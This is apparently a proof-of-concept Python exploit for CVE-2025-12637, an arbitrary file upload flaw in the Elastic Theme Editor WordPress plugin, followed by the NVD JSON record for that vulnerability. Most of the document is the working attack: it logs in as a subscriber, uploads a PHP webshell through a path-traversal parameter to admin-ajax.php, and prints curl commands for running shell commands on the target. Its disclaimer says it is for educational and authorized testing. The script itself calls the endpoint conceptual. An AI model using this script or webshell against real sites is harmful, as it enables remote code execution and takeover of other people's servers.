CVE-2025-12637

#!/usr/bin/env python3 """ CVE-2025-12637 PoC - Elastic Theme Editor Arbitrary File Upload Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys # Target configuration TARGET_URL = "http://target-wordpress-site.com" # Replace with actual target URL USERNAME = "attacker" # Attacker WordPress username PASSWORD = "password" # Attacker WordPress password # Malicious payload - PHP webshell PAYLOAD = "<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>" FILENAME = "shell.php" def exploit(): """ Exploit arbitrary file upload vulnerability in Elastic Theme Editor """ print(f"[*] Starting exploit for CVE-2025-12637") print(f"[*] Target: {TARGET_URL}") # Step 1: Authenticate to WordPress session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } print("[*] Authenticating as subscriber user...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies) and response.status_code == 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Upload malicious file via plugin endpoint upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Note: Actual endpoint and parameters may vary # This is a conceptual PoC - actual exploitation requires identifying # the specific vulnerable endpoint in the plugin upload_data = { 'action': 'elastic_editor_process_theme', 'filename': FILENAME, 'content': PAYLOAD, 'theme_path': f"../../uploads/{FILENAME}" # Path traversal attempt } print(f"[*] Attempting to upload malicious file: {FILENAME}") response = session.post(upload_url, data=upload_data) if response.status_code == 200: print(f"[+] File upload request sent") # Step 3: Verify file upload and attempt RCE shell_url = f"{TARGET_URL}/wp-content/uploads/{FILENAME}" print(f"[*] Checking if shell was uploaded...") verify_response = session.get(shell_url, timeout=5) if verify_response.status_code == 200 and 'system' in verify_response.text: print(f"[+] Shell uploaded successfully!") print(f"[+] Access shell at: {shell_url}?cmd=whoami") print(f"[+] Example: curl '{shell_url}?cmd=id'") return True else: print("[-] Shell upload may have failed or path is different") print(f"[*] Response status: {verify_response.status_code}") else: print(f"[-] Upload failed with status: {response.status_code}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-12637 - Elastic Theme Editor File Upload RCE") print("=" * 60) exploit()

{"cve": {"id": "CVE-2025-12637", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:47.893", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Elastic Theme Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a dynamic code generation feature in the process_theme function in all versions up to, and including, 0.0.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/elastic-theme-editor/trunk/editor/class-elastic-editor.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e158a13d-5452-492a-875e-53791e1ff840?source=cve", "source": "[email protected]"}]}}